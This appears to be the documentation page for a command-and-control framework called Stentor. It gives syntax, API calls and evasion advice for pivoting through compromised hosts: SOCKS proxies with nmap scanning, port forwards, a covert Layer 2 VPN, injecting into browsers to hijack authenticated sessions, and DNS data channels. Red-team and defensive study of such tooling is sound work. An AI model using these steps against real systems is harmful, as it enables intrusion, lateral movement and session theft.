Network Operations¶

Stentor provides a full suite of network pivoting, tunneling, and transport commands that let operators route traffic through compromised hosts into otherwise unreachable network segments. This page documents every network-related beacon command with complete syntax, API examples, and OPSEC guidance.

Overview¶

Network operations transform a beacon into a pivot point, bridging the operator's tools into the target's internal network. Traffic flows through the C2 channel, encapsulated inside the beacon's normal check-in communication.

graph LR
    A[Operator Tools<br/>nmap, proxychains,<br/>Burp, browser] --> B[Stentor Server<br/>:8082]
    B -->|C2 Channel<br/>HTTP / DNS / SMB| C[Relay Agent<br/>Kali]
    C -->|Listener Transport| D[Beacon<br/>Target Host]
    D --> E{Pivot Type}
    E -->|SOCKS5| F[Internal Network<br/>Any TCP Service]
    E -->|rportfwd| G[Specific Host:Port]
    E -->|Covert VPN| H[Layer 2 Bridge<br/>Full Network Access]
    E -->|Browser Pivot| I[Browser Sessions<br/>Cookies & Tokens]

    style A fill:#6a1b9a,color:#fff
    style B fill:#4a148c,color:#fff
    style C fill:#311b92,color:#fff
    style D fill:#1a237e,color:#fff
    style E fill:#0d47a1,color:#fff
    style F fill:#01579b,color:#fff
    style G fill:#01579b,color:#fff
    style H fill:#01579b,color:#fff
    style I fill:#01579b,color:#fff

Pivoting Techniques Comparison¶

Technique	Command	Direction	Use Case	OPSEC Impact	Speed
SOCKS5 Proxy	`socks <port>`	Beacon -> Internal Network	Generic TCP access to any internal host/port	Medium -- all traffic flows through C2 channel	Moderate (C2 latency)
Reverse Port Forward	`rportfwd <port> <host> <port>`	Internal Host -> Beacon -> Teamserver -> Destination	Expose internal service to teamserver	Low -- single port, targeted	Fast (direct relay)
Local Port Forward	`rportfwd_local <port>`	Operator -> Teamserver -> Beacon -> Target	Access beacon-side service from operator workstation	Low -- single port, targeted	Fast (direct relay)
Covert VPN	`covertvpn <iface> <ip>`	Full Layer 2 bridge	Full network access (DHCP, broadcast, multicast)	High -- raw ethernet frames through C2	Variable (bandwidth-heavy)
Browser Pivot	`browserpivot <pid>`	Beacon -> Browser process	Inherit authenticated browser sessions	Medium -- cross-process injection	Fast (local proxy)

Choosing the right technique

Start with SOCKS5 for general-purpose pivoting. Use rportfwd when you need a single specific service. Reserve Covert VPN for scenarios requiring Layer 2 access (e.g., VLAN enumeration, broadcast protocols). Use Browser Pivot when you need to hijack an authenticated web session.

SOCKS Proxy¶

Start a SOCKS5 (or SOCKS4a) proxy server on the teamserver that tunnels all traffic through the beacon. Operator tools connect to the teamserver's SOCKS port, and the beacon relays traffic into the target's internal network.

`socks <port>`¶

Start a SOCKS proxy on the teamserver bound to <port>. Traffic received on this port is encapsulated through the C2 channel to the beacon, which acts as the exit node into the internal network.

Shell syntax:

socks 1080

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/socks/start \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "port": 1080
  }'

Response:

{
  "status": "started",
  "beacon_id": "BEACON_UUID",
  "port": 1080,
  "version": "socks5"
}

Advanced options:

Option	Type	Default	Description
`port`	int	--	SOCKS listener port on teamserver (1024-65535)
`version`	string	`socks5`	Protocol version: `socks5` or `socks4a`
`no_auth`	bool	`false`	Disable SOCKS5 authentication
`username`	string	--	SOCKS5 username (if auth enabled)
`password`	string	--	SOCKS5 password (if auth enabled)

`socks stop`¶

Stop the SOCKS proxy for a beacon.

Shell syntax:

socks stop

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/socks/stop \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID"
  }'

Usage Example: Proxychains with nmap¶

Route nmap through the SOCKS tunnel to scan internal hosts:

# 1. Start SOCKS proxy on teamserver port 1080
socks 1080

# 2. Configure proxychains on operator workstation
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf

# 3. Scan internal network through the tunnel
proxychains nmap -sT -Pn -p 445,3389,22 10.10.10.0/24

SOCKS4a vs SOCKS5

SOCKS5 supports UDP and authentication. SOCKS4a supports remote DNS resolution (hostname sent to proxy). Use SOCKS5 unless your tools require SOCKS4a compatibility.

OPSEC Considerations

All SOCKS traffic is encapsulated inside the beacon's C2 channel, increasing C2 bandwidth significantly
High-volume scanning (e.g., nmap full port scans) generates unusual traffic patterns in the C2 channel
The beacon's sleep interval directly affects SOCKS throughput -- reduce sleep for usable SOCKS performance
Monitor C2 bandwidth carefully -- sustained high throughput may trigger network anomaly detection
MITRE ATT&CK: T1090 (Proxy)

List Active SOCKS Proxies¶

curl -s https://stentor.app/api/v1/cockpit/socks \
  -H "Authorization: Bearer $TOKEN"

Reverse Port Forwarding¶

Reverse port forwards create targeted tunnels between specific hosts and ports. Two variants are available: rportfwd (beacon-side bind, teamserver-side forward) and rportfwd_local (teamserver-side bind, beacon-side forward).

rportfwd (Remote Bind)rportfwd_local (Local Bind)

`rportfwd <bind_port> <forward_host> <forward_port>`¶

Bind a port on the beacon host and forward incoming traffic through the C2 channel to the teamserver, which then connects to forward_host:forward_port.

Traffic flow:

Internal Host -> Beacon:bind_port -> C2 Channel -> Teamserver -> forward_host:forward_port

Use case: Expose an internal service so the teamserver (or tools running on it) can reach it. For example, forward an internal web server to the teamserver for Burp Suite analysis.

Shell syntax:

rportfwd 8080 127.0.0.1 80

This binds port 8080 on the beacon host. Any connection to beacon:8080 is forwarded to 127.0.0.1:80 on the teamserver side.

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/portfwd/start \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "bind_port": 8080,
    "dest_addr": "127.0.0.1:80"
  }'

Response:

{
  "status": "started",
  "beacon_id": "BEACON_UUID",
  "bind_port": 8080,
  "dest_addr": "127.0.0.1:80"
}

`rportfwd stop <bind_port>`¶

Stop a reverse port forward.

Shell syntax:

rportfwd stop 8080

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/portfwd/stop \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "bind_port": 8080
  }'

`rportfwd_local <bind_port>`¶

Bind a port on the teamserver and forward incoming traffic through the C2 channel to the beacon, which connects to the target. The operator's tools connect to teamserver:bind_port, and traffic is routed through the beacon to the target network.

Traffic flow:

Operator Tools -> Teamserver:bind_port -> C2 Channel -> Beacon -> Target

Use case: Access a service on or near the beacon host from the operator's workstation. For example, connect to an internal database through the beacon.

Shell syntax:

rportfwd_local 3306

This binds port 3306 on the teamserver. Any connection to teamserver:3306 is forwarded through the beacon.

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/portfwd/start_local \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "bind_port": 3306
  }'

Response:

{
  "status": "started",
  "beacon_id": "BEACON_UUID",
  "bind_port": 3306,
  "local": true
}

`rportfwd_local stop <bind_port>`¶

Stop a local port forward.

Shell syntax:

rportfwd_local stop 3306

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/portfwd/stop_local \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "bind_port": 3306
  }'

Traffic Flow Comparison¶

sequenceDiagram
    participant IH as Internal Host
    participant B as Beacon
    participant C2 as C2 Channel
    participant TS as Teamserver
    participant OP as Operator Tools

    Note over IH,OP: rportfwd (Remote Bind)
    IH->>B: Connect to beacon:bind_port
    B->>C2: Encapsulate traffic
    C2->>TS: Deliver to teamserver
    TS->>TS: Forward to dest_addr

    Note over IH,OP: rportfwd_local (Local Bind)
    OP->>TS: Connect to teamserver:bind_port
    TS->>C2: Encapsulate traffic
    C2->>B: Deliver to beacon
    B->>IH: Connect to target

List Active Port Forwards¶

# List all active port forwards
curl -s https://stentor.app/api/v1/cockpit/portfwd \
  -H "Authorization: Bearer $TOKEN"

# List port forwards for a specific beacon
curl -s https://stentor.app/api/v1/cockpit/portfwd/BEACON_UUID \
  -H "Authorization: Bearer $TOKEN"

OPSEC Considerations

Port forwards are more targeted than SOCKS -- only the specified port is exposed
rportfwd opens a listening port on the beacon host, which is visible to local network scanners
rportfwd_local opens a port on the teamserver, which is less visible to the target network
Both variants add traffic to the C2 channel proportional to tunnel usage
MITRE ATT&CK: T1572 (Protocol Tunneling)

Covert VPN¶

Create a Layer 2 VPN tunnel through the beacon, bridging the operator's network into the target's network segment. This creates a TAP interface on the teamserver that provides full Ethernet-level access to the target network.

`covertvpn <interface> <ip> [mtu]`¶

Start a covert VPN tunnel through the beacon.

Parameter	Type	Required	Description
`interface`	string	Yes	TAP interface name on the teamserver (e.g., `tap0`)
`ip`	string	Yes	IP address to assign to the TAP interface
`mtu`	int	No	Maximum Transmission Unit (default: 1500, range: 576-9000)

Shell syntax:

covertvpn tap0 10.0.0.200
covertvpn tap0 10.0.0.200 1400

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/covertvpn/start \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "interface": "tap0",
    "ip": "10.0.0.200",
    "mtu": 1400,
    "channel": "tcp_bind"
  }'

Response:

{
  "status": "started",
  "beacon_id": "BEACON_UUID",
  "interface": "tap0",
  "ip": "10.0.0.200",
  "mtu": 1400,
  "channel": "tcp_bind"
}

Channel options:

Channel	Description
`tcp_bind`	Beacon binds a TCP port for VPN data (default)
`tcp_reverse`	Teamserver binds, beacon connects back
`udp`	UDP-based data channel
`icmp`	ICMP-based data channel (requires raw sockets)
`http`	HTTP-based data channel (blends with web traffic)

Additional options:

Option	Type	Default	Description
`clone_mac`	bool	`false`	Clone the target's MAC address for Layer 2 authenticity

`covertvpn stop`¶

Tear down the VPN tunnel and remove the TAP interface.

Shell syntax:

covertvpn stop

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/covertvpn/stop \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID"
  }'

List Active VPN Tunnels¶

curl -s https://stentor.app/api/v1/cockpit/covertvpn \
  -H "Authorization: Bearer $TOKEN"

OPSEC Considerations

Extremely high traffic volume -- raw Ethernet frames traverse the C2 channel for every packet
Broadcast and multicast traffic from the target network is captured and relayed
Best suited for lab environments or engagements where stealth is not the primary concern
The TAP interface on the teamserver appears as a real network interface -- be cautious with routing
Consider reducing MTU to minimize fragmentation overhead in the C2 channel
MITRE ATT&CK: T1572 (Protocol Tunneling)

Browser Pivot¶

Inject into a browser process to inherit its authenticated sessions (cookies, tokens, TLS client certificates). The beacon creates a local HTTP proxy that the operator can point their browser at to use the target's web sessions.

`browserpivot <pid> [arch]`¶

Start a browser pivot by injecting into the specified browser process.

Parameter	Type	Required	Description
`pid`	int	Yes	Process ID of the browser to inject into
`arch`	string	No	Process architecture: `x64` (default) or `x86`

Shell syntax:

browserpivot 4528
browserpivot 4528 x86

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/browserpivot/start \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "port": 8888,
    "pid": 4528,
    "arch": "x64"
  }'

Response:

{
  "status": "started",
  "beacon_id": "BEACON_UUID",
  "port": 8888,
  "pid": 4528
}

`browserpivot stop`¶

Stop the browser pivot and clean up the injected code.

Shell syntax:

browserpivot stop

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/browserpivot/stop \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID"
  }'

List Active Browser Pivots¶

curl -s https://stentor.app/api/v1/cockpit/browserpivot \
  -H "Authorization: Bearer $TOKEN"

Usage Workflow¶

Enumerate browser processes on the target: ps (look for chrome.exe, msedge.exe, iexplore.exe)
Start the browser pivot: browserpivot <browser_pid>
Configure your local browser to use the proxy: teamserver_ip:8888
Browse internal web applications using the target's authenticated sessions

OPSEC Considerations

Cross-process injection into the browser process may trigger EDR alerts for process manipulation
The injected code creates a named pipe (\\.\pipe\bpivot_*) for IPC with the beacon
Most effective against Internet Explorer and legacy Edge -- modern Chromium-based browsers have stricter process isolation
The proxy port (default 8888) is opened on the teamserver side, not on the target
MITRE ATT&CK: T1185 (Browser Session Hijacking)

Transport Mode¶

Switch the DNS data channel mode on a DNS beacon. This controls how beacon data is encoded in DNS queries.

`mode <dns|dns6|dns-txt>`¶

Change the DNS data channel encoding mode.

Mode	DNS Record Type	Bandwidth	Stealth	Description
`dns`	A records	Low (~4 bytes/query)	High	Data encoded in IPv4 addresses; minimal per-query capacity
`dns6`	AAAA records	Medium (~16 bytes/query)	Medium	Data encoded in IPv6 addresses; 4x capacity of A records
`dns-txt`	TXT records	High (~189 bytes/query)	Lower	Data encoded in TXT record values; highest bandwidth

Shell syntax:

mode dns-txt
mode dns
mode dns6

API example:

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "mode dns-txt"
  }'

DNS beacons only

The mode command only applies to beacons using DNS transport. HTTP/HTTPS beacons ignore this command. See the DNS Listener documentation for listener configuration.

OPSEC Considerations

TXT record queries are less common in normal traffic and may stand out in DNS logs
A record mode is the stealthiest but has the lowest bandwidth -- best for low-and-slow operations
AAAA record mode is a good compromise between bandwidth and stealth
Frequent DNS queries of any type to a single domain are detectable via DNS analytics
MITRE ATT&CK: T1071.004 (Application Layer Protocol: DNS)

Logging¶

Toggle detailed traffic logging for a SOCKS proxy:

curl -s -X PUT https://stentor.app/api/v1/cockpit/socks/logging \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "port": 1080,
    "enabled": true
  }'

Querying Tunnel Status¶

All active tunnels (SOCKS, port forwards, browser pivots, VPN) can be queried via their respective list endpoints:

Tunnel Type	List Endpoint
SOCKS	`GET /api/v1/cockpit/socks`
Port Forwards	`GET /api/v1/cockpit/portfwd`
Browser Pivots	`GET /api/v1/cockpit/browserpivot`
Covert VPN	`GET /api/v1/cockpit/covertvpn`

Each also supports a per-beacon query: GET /api/v1/cockpit/{type}/{beaconId}.

Network Operations¶

Overview¶

Pivoting Techniques Comparison¶

SOCKS Proxy¶

socks <port>¶

socks stop¶

Usage Example: Proxychains with nmap¶

List Active SOCKS Proxies¶

Reverse Port Forwarding¶

rportfwd <bind_port> <forward_host> <forward_port>¶

rportfwd stop <bind_port>¶

rportfwd_local <bind_port>¶

rportfwd_local stop <bind_port>¶

Traffic Flow Comparison¶

List Active Port Forwards¶

Covert VPN¶

covertvpn <interface> <ip> [mtu]¶

covertvpn stop¶

List Active VPN Tunnels¶

Browser Pivot¶

browserpivot <pid> [arch]¶

browserpivot stop¶

List Active Browser Pivots¶

Usage Workflow¶

Transport Mode¶

mode <dns|dns6|dns-txt>¶

Related Endpoints¶

Logging¶

Querying Tunnel Status¶

`socks <port>`¶

`socks stop`¶

`rportfwd <bind_port> <forward_host> <forward_port>`¶

`rportfwd stop <bind_port>`¶

`rportfwd_local <bind_port>`¶

`rportfwd_local stop <bind_port>`¶

`covertvpn <interface> <ip> [mtu]`¶

`covertvpn stop`¶

`browserpivot <pid> [arch]`¶

`browserpivot stop`¶

`mode <dns|dns6|dns-txt>`¶